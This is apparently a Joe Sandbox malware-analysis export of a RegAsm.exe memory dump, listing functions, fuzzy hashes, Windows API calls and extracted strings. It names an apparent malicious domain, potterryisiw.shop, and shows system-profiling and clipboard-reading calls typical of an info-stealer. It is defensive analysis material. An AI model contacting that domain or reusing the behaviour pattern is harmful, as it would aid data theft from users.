Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 2PBd$AJ|2
API String ID: 0-3533766608
Opcode ID: 369799990b9b17540f153d9db1cf456ce7f0a3d1c294660dc8c6111f9fa62616
Instruction ID: 9b81f59fa9fec819b079e7b5913faa27c40ffdab1ebfad8fc98c52ced06b53f7
Opcode Fuzzy Hash: 369799990b9b17540f153d9db1cf456ce7f0a3d1c294660dc8c6111f9fa62616
Instruction Fuzzy Hash: 88F17D70204B928BD365CF39C1947A3BBE1BF56304F94496ED4EB8B682D739B805CB54

Function 00428F65 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 396COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042909C

Strings

AJ|2, xrefs: 004291C2
2PBd, xrefs: 004292DD

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: 2PBd$AJ|2
API String ID: 3960555810-3533766608
Opcode ID: a86de24d1fe8a22a5e152d4d1217ba225a352e4d395d0b13c18828c492104dac
Instruction ID: a3eb8938b1a25089ba207bdac1137d9776a66457ef97c196e7f02efb96e43ae3
Opcode Fuzzy Hash: a86de24d1fe8a22a5e152d4d1217ba225a352e4d395d0b13c18828c492104dac
Instruction Fuzzy Hash: 80D18C70204B528BD765CF39C1947A3FBE1BF56308F94496ED4EB8BA82C739A805CB54

Function 00417592 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 261COMMON

Download Yara Rule

Strings

yA, xrefs: 00417913
6, xrefs: 00417659

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 6$yA
API String ID: 0-400021518
Opcode ID: dd5f72c7efeab64b3ea6f7782656cdd851f9face38727ff7eced69619e18c51e
Instruction ID: 0b1751d15af5afb3e28d85c507663cc984a9e5c4479d1d373b9566665f947d66
Opcode Fuzzy Hash: dd5f72c7efeab64b3ea6f7782656cdd851f9face38727ff7eced69619e18c51e
Instruction Fuzzy Hash: 8D91CDB59083819FD714CF28D48166BBBE1AFC5304F14892EF4A987392E778E845CB86

Function 00424F10 Relevance: 4.3, Strings: 3, Instructions: 596COMMON

Download Yara Rule

Strings

iQPS, xrefs: 00424F3F
2],_, xrefs: 00424F27
,SB, xrefs: 00425326

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ,SB$2],_$iQPS
API String ID: 0-3375296685
Opcode ID: ca4f66a42113d4dd2ab0eb0a557acd9b6e144656a241f450f2f22fbd72e9482f
Instruction ID: d492b950c31d36bc158322ba794af411e8250915dafc2f7219c692af102e55f2
Opcode Fuzzy Hash: ca4f66a42113d4dd2ab0eb0a557acd9b6e144656a241f450f2f22fbd72e9482f
Instruction Fuzzy Hash: 0422A9716083618FC728CF14D8517ABB7E2FFC6308F444A2DE9999B381E7789945CB86

Function 0043AAC0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 12libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043D6BC,005C003F,00000006,?,?,00000018,/.! ,?,ZsA), ref: 0043AAE6

Strings

/.! , xrefs: 0043AAD4

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: /.!
API String ID: 2994545307-1547124405
Opcode ID: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction ID: 9a2a3e30e6272c7ba4599b7d5b49d8b1df743313db24dc7d28a19b0c9381744b
Opcode Fuzzy Hash: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction Fuzzy Hash: 82D04875908216AB9A09CF44C54040EFBE6BFC4714F228C8EA88873214C3B0BD46EB82

Function 00425350 Relevance: 1.6, Strings: 1, Instructions: 344COMMON

Download Yara Rule

Strings

,SB, xrefs: 00425326

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ,SB
API String ID: 0-3344058557
Opcode ID: d441079890dc1384fe02bfcbb57e10470465db8928aa69676c90a3fc055d3055
Instruction ID: 039eb5016f7fd78d533bc0fda36f1db4599208a88b8e264e670cb45d6bd72028
Opcode Fuzzy Hash: d441079890dc1384fe02bfcbb57e10470465db8928aa69676c90a3fc055d3055
Instruction Fuzzy Hash: B8B10F716183218BC724CF18D8517ABB3F1FFD6314F448A2DE8959B390E7799941CB86

Function 0041B990 Relevance: 1.4, Strings: 1, Instructions: 144COMMON

Download Yara Rule

Strings

HI, xrefs: 0041B9C0

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: HI
API String ID: 0-1987653318
Opcode ID: f7d7c7d0fe7cabde2995abf24001a65ad4c96508387fd75d75e371acc18e7a64
Instruction ID: f857ae79a21a44feeb6a15e9cef4c0f10714ff32f2e4065077ea1289013618f4
Opcode Fuzzy Hash: f7d7c7d0fe7cabde2995abf24001a65ad4c96508387fd75d75e371acc18e7a64
Instruction Fuzzy Hash: 854112755083118BC714CF18D8917ABB7F0EFC63A8F048A2DE8959B391E7389A45C7DA

Function 0041FAE0 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

je, xrefs: 0041FB40

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: je
API String ID: 0-3809674245
Opcode ID: 60b3f2acf2aec0acf9ebe96d09579e24ec3422f859f4800561d3aef034be247a
Instruction ID: 1c38fa654bc97001b06b9bb9048520a71f54be7c7481a91467ad0ed4b5e6a9de
Opcode Fuzzy Hash: 60b3f2acf2aec0acf9ebe96d09579e24ec3422f859f4800561d3aef034be247a
Instruction Fuzzy Hash: 3631CBB6A087419FD720DF18EC45BCAB3A5FB86349F00893DE49DC6242E73495168B8B

Function 004180AA Relevance: .2, Instructions: 213COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c79a9aacfbe5e2f32c180dfdafc4f992fa23edefc5b1012d8cd9b8fb0a3f8593
Instruction ID: 6402e0bb3909fe31628bd0f5915123d94248cd459176ab4f2c7de53b55bc4d4e
Opcode Fuzzy Hash: c79a9aacfbe5e2f32c180dfdafc4f992fa23edefc5b1012d8cd9b8fb0a3f8593
Instruction Fuzzy Hash: 15718AB56083118BD728CF14D5A076BB7E2FFC9B14F044A1DE8866B381C7389D46CB9A

Function 004212D0 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0472e055f3a4dff2055362c3bcedd2f213813839f96d446d9e6375fa51102b4
Instruction ID: bf0d0334412388f94e8498152736f63782817262afcc8546e4d5242f57d6667f
Opcode Fuzzy Hash: f0472e055f3a4dff2055362c3bcedd2f213813839f96d446d9e6375fa51102b4
Instruction Fuzzy Hash: 278167B56083818BD728DF11D4A4BABB7E2FFC5304F58896DE48A47251DB349941CB4A

Function 00402D60 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8863c89b4a71dfb8782b38dca209a4b28dd68051076688180005815d0d7225e
Instruction ID: f5e873939d1550dce44615af20c07b6bf3e8be0c5ac98c4d3a91bc660a2ff0f2
Opcode Fuzzy Hash: b8863c89b4a71dfb8782b38dca209a4b28dd68051076688180005815d0d7225e
Instruction Fuzzy Hash: 3B51A2B05042029FD7049F28ED4971BBBA0FF45318F044939F45AA22E1D7B9E968DB8A

Function 0043B00A Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06262e27936995fc80322a3ed165d15c5e5b3e9162d3737f6739749793127dea
Instruction ID: a2ba0411b3cee10f4caaeae70949e410124a68cbc5d3df4400edfa96d4397e02
Opcode Fuzzy Hash: 06262e27936995fc80322a3ed165d15c5e5b3e9162d3737f6739749793127dea
Instruction Fuzzy Hash: FB217F742083058FD308CF15C890B2BB7E1EBC9308F64992DE5A5A77D1D339D80ADB9A

Function 0042F339 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5850b7b81a79914e313bc8c4bbea3dcb4f8226820c51b19553123e3cc9bfb04d
Instruction ID: 985886068b2e716356abbb17699c63c446eb292950ac11608e3e0ec2d72a3155
Opcode Fuzzy Hash: 5850b7b81a79914e313bc8c4bbea3dcb4f8226820c51b19553123e3cc9bfb04d
Instruction Fuzzy Hash: C0F058B55183408FD310DF28C45434BBBF0BF85308F01882DE98847390CB75A988CBCA

Function 0040A580 Relevance: 102.2, APIs: 2, Strings: 56, Instructions: 678
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE ref: 0040A6F3
GetProcessVersion.KERNEL32 ref: 0040AA06

Strings

v, xrefs: 0040A64C
M, xrefs: 0040A604
r, xrefs: 0040ADDD
?, xrefs: 0040AACE
W, xrefs: 0040AFF2
!, xrefs: 0040AAB0
=, xrefs: 0040ACF3
/, xrefs: 0040AC83
B, xrefs: 0040AE75
G, xrefs: 0040A5D4
=, xrefs: 0040AAC4
/, xrefs: 0040AA7E
5, xrefs: 0040AAFB
", xrefs: 0040ABB3
-, xrefs: 0040AA74
h, xrefs: 0040AE35
u, xrefs: 0040A644
', xrefs: 0040ABE3
[, xrefs: 0040A5B4
6, xrefs: 0040AB83
, xrefs: 0040AC43
!, xrefs: 0040AC33
-, xrefs: 0040AB43
K, xrefs: 0040A634
5, xrefs: 0040ABA3
', xrefs: 0040ABF3
', xrefs: 0040ABC3
E, xrefs: 0040A5C4
/, xrefs: 0040AC93
%, xrefs: 0040AA9C
,, xrefs: 0040ABD3
~, xrefs: 0040AFC2
7, xrefs: 0040AB0B
I, xrefs: 0040A624
2, xrefs: 0040AB93
9, xrefs: 0040AADB
0, xrefs: 0040ACB3
;, xrefs: 0040AAEB
), xrefs: 0040AA88
-, xrefs: 0040AC73
t, xrefs: 0040AE3D
C, xrefs: 0040A5F4
3, xrefs: 0040AB2B
?, xrefs: 0040AB63
', xrefs: 0040AAA6
1, xrefs: 0040AB1B
:, xrefs: 0040AEB5
O, xrefs: 0040A614
+, xrefs: 0040AA92
#, xrefs: 0040AABA
?, xrefs: 0040AB53
A, xrefs: 0040A5E4
w, xrefs: 0040A654
potterryisiw.shop, xrefs: 0040A993, 0040B21C
Y, xrefs: 0040A5A4
T, xrefs: 0040AEED

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoadProcessVersion
String ID: $!$!$"$#$%$'$'$'$'$)$+$,$-$-$-$/$/$/$0$1$2$3$5$5$6$7$9$:$;$=$=$?$?$?$A$B$C$E$G$I$K$M$O$T$W$Y$[$h$potterryisiw.shop$r$t$u$v$w$~
API String ID: 1829952579-2053576172
Opcode ID: 10e56e6316571805e3b496b34a46402a8848bc47858688e3e610be39b175c614
Instruction ID: 83e59cc675480a0f537e16db5dfb479b10fa2c63f7bafa7316ef033462da114d
Opcode Fuzzy Hash: 10e56e6316571805e3b496b34a46402a8848bc47858688e3e610be39b175c614
Instruction Fuzzy Hash: 2172F67010C7C1CAD331DB28844879BBFE0AB96324F044A6EE4E99B3D2D7798546DB5B

Function 00428343 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 441
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 00428464
GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 004284A0
GetComputerNameExA.KERNELBASE(00000005,?,00000200), ref: 004285CC

Strings

ESIZ, xrefs: 00428821

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID: ComputerName$FreeLibrary
String ID: ESIZ
API String ID: 2243422189-1232186204
Opcode ID: 5fef9b3106bf94a8d3020770181974765055f3be71e4427543e8478773e5dcbb
Instruction ID: 107eeaf0f484fc26e1d056c6c5a96a53ad66f040f9949cd173fbe651eae6af85
Opcode Fuzzy Hash: 5fef9b3106bf94a8d3020770181974765055f3be71e4427543e8478773e5dcbb
Instruction Fuzzy Hash: 56F19E70105B518ED725CF34C894BE7BBE1AF16309F88486DC0FA8B282DB79B446CB59

Function 0042833D Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 451
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 004284A0
GetComputerNameExA.KERNELBASE(00000005,?,00000200), ref: 004285CC

Strings

ESIZ, xrefs: 00428821

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID: ComputerName
String ID: ESIZ
API String ID: 3545744682-1232186204
Opcode ID: c21be24aaba47a1ff64b0cb5ea4f6df0152d926d2a546ab2927edcf79d3b28ec
Instruction ID: caece19477bbeddae42eb6e9da0290b6207a0dc70146bc8faadc5ec4be251040
Opcode Fuzzy Hash: c21be24aaba47a1ff64b0cb5ea4f6df0152d926d2a546ab2927edcf79d3b28ec
Instruction Fuzzy Hash: 04027E70205B528FD725CF34C8907A7BBE1AF56304F98486ED0EA87782CB79B446CB55

Function 0043686C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 004368A9

Strings

\, xrefs: 00436874
C, xrefs: 0043686C

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID: InformationVolume
String ID: C$\
API String ID: 2039140958-514332402
Opcode ID: c453d63eca7fa889acf43d4105d7dd8f59b0f5e53740a5b4c4497ad910ecf8eb
Instruction ID: 6bc66be043ab83f7e14e5e5f61a353f0f93fc06736be262c3079a6f27a06a90d
Opcode Fuzzy Hash: c453d63eca7fa889acf43d4105d7dd8f59b0f5e53740a5b4c4497ad910ecf8eb
Instruction Fuzzy Hash: DDF092B9294341BBE314DF20DC62F2A3294FB45B08F20482CB24BF61D0CBF4B9009A4E

Function 00409530 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 00409599

Strings

system or character via spellings glyphs a is uses that in their modified other on often reflection or resemblance on it leetspeak, used similarity internet. play eleet the of the replacements of primarily ways, xrefs: 00409562

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcess
String ID: system or character via spellings glyphs a is uses that in their modified other on often reflection or resemblance on it leetspeak, used similarity internet. play eleet the of the replacements of primarily ways
API String ID: 621844428-780655312
Opcode ID: 97be74b9bb0609293a5e55ee57a2341dfee3e9de6ada01080e19258a4a21601b
Instruction ID: 2ab813ea5f014a0b2211c64ac1eb16e07fc62c0c69bb2f1ca759e36280769154
Opcode Fuzzy Hash: 97be74b9bb0609293a5e55ee57a2341dfee3e9de6ada01080e19258a4a21601b
Instruction Fuzzy Hash: F0F082B2814210B5CA123BB79E0626F36A85E5535CF50083BED81B21C3EA3C4D1A97AF

Function 0042D670 Relevance: 1.6, APIs: 1, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0042D750

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 9c467ed3b848cf21e5e74aa2aaddb84ee9e7f911adc94d0ee280a7d56254f9bb
Instruction ID: bfdf1960619fe11e79ca71d1c60cc00dfd7c8e4f9b3430ffd1da66fae9831d2a
Opcode Fuzzy Hash: 9c467ed3b848cf21e5e74aa2aaddb84ee9e7f911adc94d0ee280a7d56254f9bb
Instruction Fuzzy Hash: FD41E460108F829ED366CB38C598742FBE1BB56214F048789D0AA8BB91D374B565CB92

Function 0043A71C Relevance: 1.6, APIs: 1, Instructions: 70libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(?,00000000,00000800), ref: 0043A7C1

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 2fc65689c9f4261c712c8d238fb41edd77dbdc3d5de3ef7c8eb14687863c5a44
Instruction ID: fa0cef23d453a3069a770009fd0405c4018592c7011080208cd168a447dc3778
Opcode Fuzzy Hash: 2fc65689c9f4261c712c8d238fb41edd77dbdc3d5de3ef7c8eb14687863c5a44
Instruction Fuzzy Hash: 09217F752406429FD328CF19C8A0A26B7F2FF99300B298A1DD0D297B55CB74F865CBC9

Function 00438800 Relevance: 1.6, APIs: 1, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 0043889F

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5bcece1c03e78da2e9087ec5e943b8abd02f23127b79b626b8827565f725fe94
Instruction ID: 7be10c684662338dbfc0f8bce7f21e7d81a63dd3bdc270857606bdcfbec2d806
Opcode Fuzzy Hash: 5bcece1c03e78da2e9087ec5e943b8abd02f23127b79b626b8827565f725fe94
Instruction Fuzzy Hash: 8E11AC326082028BD304EF18C851B5ABBE5EB88718F08892CE0C8C73A1D779E855CB86

Function 004103F7 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004103FD

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID: DirectorySystem
String ID:
API String ID: 2188284642-0
Opcode ID: 3d84e0c53d5a37151eea48f4afb3fac4d165dcdf4433bc3406452530f76cb1d0
Instruction ID: 7cc36ceb920871c8c6d66fd4276466350dc9c8e231d8d33e6ab260e294c182e7
Opcode Fuzzy Hash: 3d84e0c53d5a37151eea48f4afb3fac4d165dcdf4433bc3406452530f76cb1d0
Instruction Fuzzy Hash: 74F04CF49042914BC7348B109CE167F3394AF55308F05003FD586C6312DA785CC5C619

Function 0043A100 Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNELBASE ref: 0043A100

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: 6789bf0cf5d3ba422bce8a14c70c0bd7b7677a90bc5732cded0f2e40de171061
Instruction ID: 4d5d26bab624afb83cf63971fe22b474cca0126a6a3e433b0c01ad88c01b978a
Opcode Fuzzy Hash: 6789bf0cf5d3ba422bce8a14c70c0bd7b7677a90bc5732cded0f2e40de171061
Instruction Fuzzy Hash: 7AE032B96002018BC324CF20E882922F7E5FB4E304314693ED986D7741D634E805CB48

Function 004389C2 Relevance: 1.5, APIs: 1, Instructions: 25memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 004389C8

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: c8eb1b5f902db61b7fdcf8998cd4d462fcf4ac418044278937692415990431ca
Instruction ID: b99520e442b5103068d20eebea8ceedfe316ff1c9b725666a4638859ffb814d3
Opcode Fuzzy Hash: c8eb1b5f902db61b7fdcf8998cd4d462fcf4ac418044278937692415990431ca
Instruction Fuzzy Hash: FFC080391441009FD6048F10DC45B353369F755705F10187CE506C12E3CA20DC15DD0C

Function 0043AA76 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?), ref: 0043AA7D

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e48826d4c4b75912ac203f9eb20402879578ed53c4114f2f30e14c69dc3f2eb1
Instruction ID: bc01fb9524668cde8e3e97ee74b7d0957eb987fe7114e3071a8faee555c0f673
Opcode Fuzzy Hash: e48826d4c4b75912ac203f9eb20402879578ed53c4114f2f30e14c69dc3f2eb1
Instruction Fuzzy Hash: C4C012381481089BD608CB10EC91F76372EE7CA612F148028E48343361C23098139A18

Non-executed Functions

Function 00430CF0 Relevance: 9.2, APIs: 6, Instructions: 179clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00430D4D
GetWindowLongW.USER32 ref: 00430D7A
GetClipboardData.USER32 ref: 00430D8C
CloseClipboard.USER32 ref: 00430EEE

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID: Clipboard$CloseDataLongOpenWindow
String ID:
API String ID: 1647500905-0
Opcode ID: c42072921177bc784a49dc2ecde762dfeaa1b47fa3ce775427dbbe90ea03cd3e
Instruction ID: a58f9c31ffd0da66f335f8d56462364fb8cf3bd821a58cce9afa8a919224b9c1
Opcode Fuzzy Hash: c42072921177bc784a49dc2ecde762dfeaa1b47fa3ce775427dbbe90ea03cd3e
Instruction Fuzzy Hash: EB717D74608B41DFC320DF78C45561ABBE0AF1A310F108B6EE4DA87791D738A855DB97

Function 00423976 Relevance: 6.9, Strings: 5, Instructions: 640COMMON

Download Yara Rule

Strings

q, xrefs: 00423C96
de, xrefs: 004239D0
.A+C, xrefs: 00423994
<Y9[, xrefs: 00423A4E, 004239FE
#M*O, xrefs: 0042399C

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: #M*O$.A+C$<Y9[$de$q
API String ID: 0-2301291036
Opcode ID: 2e8f5385e92c8c6e7ec2eeb3d3e635bf3f26ae69e773f5ccbf44b89f15b7456c
Instruction ID: aa240042138c986817e9b4b358af31d3fe11580a1198047475b9b9fa5582111f
Opcode Fuzzy Hash: 2e8f5385e92c8c6e7ec2eeb3d3e635bf3f26ae69e773f5ccbf44b89f15b7456c
Instruction Fuzzy Hash: 3622ED75A083518FD324CF24E88072BB7F2AFC6314F55892DE88A97391D738D945CB8A

Function 00425A2A Relevance: 1.7, Strings: 1, Instructions: 456COMMON

Download Yara Rule

Strings

P_B, xrefs: 00425CBB

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: P_B
API String ID: 0-906794629
Opcode ID: a09de4cff80ece7cf7e5d5501bfcc30739e2e0a5fc213040b74ebebb36e32223
Instruction ID: 247aeb099a37abac29fb2abe1af913bc7e9570d8043b8720d2e58d3f13425c6b
Opcode Fuzzy Hash: a09de4cff80ece7cf7e5d5501bfcc30739e2e0a5fc213040b74ebebb36e32223
Instruction Fuzzy Hash: 6DD19C712083218BD714DF18D8A1B6BB7F1FF95354F448A1DE4C18B3A0E3789945CB9A

Function 004241DE Relevance: 1.7, Strings: 1, Instructions: 405COMMON

Download Yara Rule

Strings

", xrefs: 0042436A

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 73303fa99c23672edcd91aa0bc4b03b67aaca62d52c59e1dfb1f0fc5beb92917
Instruction ID: 232c928df96498e70451627f886274eb343c6cc0946caba914b60865c80523c0
Opcode Fuzzy Hash: 73303fa99c23672edcd91aa0bc4b03b67aaca62d52c59e1dfb1f0fc5beb92917
Instruction Fuzzy Hash: 18E116716082518FD724CF28D88032ABBE3EFDB320F59476EE495973E1C77899458B46

Function 00436AD2 Relevance: 1.5, Strings: 1, Instructions: 226COMMON

Download Yara Rule

Strings

2mC, xrefs: 00436D20

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 2mC
API String ID: 0-3878219052
Opcode ID: a1de98b2818a2a28d9ca77c7a86fe1de837eff0c9eb8b35c304899fd18acab2f
Instruction ID: 5720ded9b0efbdedd827fa4885a4df752158c37772ef617e7de1af59f48536f2
Opcode Fuzzy Hash: a1de98b2818a2a28d9ca77c7a86fe1de837eff0c9eb8b35c304899fd18acab2f
Instruction Fuzzy Hash: C9618D742047019FD728CF19D490B27B7E1FB4D304F14992EE59A8BB91CB75E451CB98

Function 00413D71 Relevance: 1.4, Strings: 1, Instructions: 154COMMON

Download Yara Rule

Strings

b, xrefs: 00413D84

Memory Dump Source

Source File: 00000004.00000002.2574136890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: b
API String ID: 0-1908338681
